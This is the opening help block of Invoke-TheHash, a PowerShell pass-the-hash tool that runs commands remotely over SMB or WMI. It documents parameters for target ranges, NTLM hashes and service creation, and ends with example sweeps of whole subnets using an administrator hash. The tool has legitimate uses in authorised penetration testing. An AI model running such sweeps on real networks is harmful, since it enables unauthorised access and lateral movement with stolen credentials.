function Invoke-TheHash
{
<#
.SYNOPSIS
Invoke-TheHash has the ability to target multiple hosts with Invoke-SMBExec or Invoke-WMIExec. This function is
primarily for checking a hash against multiple systems. The function can also be used to perform other tasks
against multiple hosts. 

Author: Kevin Robertson (@kevin_robertson)  
License: BSD 3-Clause 

.PARAMETER Type
(SMBClient/SMBEnum/SMBExec/WMIExec) Sets the desired Invoke-TheHash function.

.PARAMETER Target
List of hostnames, IP addresses, CIDR notation, or IP ranges for targets.

.PARAMETER TargetExclude
List of hostnames, IP addresses, CIDR notation, or IP ranges to exclude form the list or targets. Note that the
format (hostname vs IP address) must match the format used with the Targets parameter. For example, if the host
was added to Targets within a CIDR notation, it must be excluded as an IP address and not a host name.

.PARAMETER PortCheckDisable
(Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up
the function by checking for an open WMI or SMB port before attempting a full synchronous TCPClient connection.

.PARAMETER PortCheckTimeout
Default = 100: Set the no response timeout in milliseconds for the WMI or SMB port check.

.PARAMETER Username
Username to use for authentication.

.PARAMETER Domain
Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. 

.PARAMETER Hash
NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.

.PARAMETER Command
Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI on the target.

.PARAMETER CommandCOMSPEC
Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to Command.

.PARAMETER Action
(All,Group,NetSession,Share,User) Default = Share: SMBEnum enumeration action to perform.

.PARAMETER Group
Default = Administrators: Group to enumerate with SMBEnum.

.PARAMETER Service
Default = 20 Character Random: SMBExec type only. Name of the service to create and delete on the target.

.PARAMETER Sleep
Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this
setting if you are experiencing strange results.

.EXAMPLE
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0

.EXAMPLE
Invoke-TheHash -Type SMBExec -Target 192.168.100.1-100 -TargetExclude 192.168.100.50 -Username user1 -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -domain test
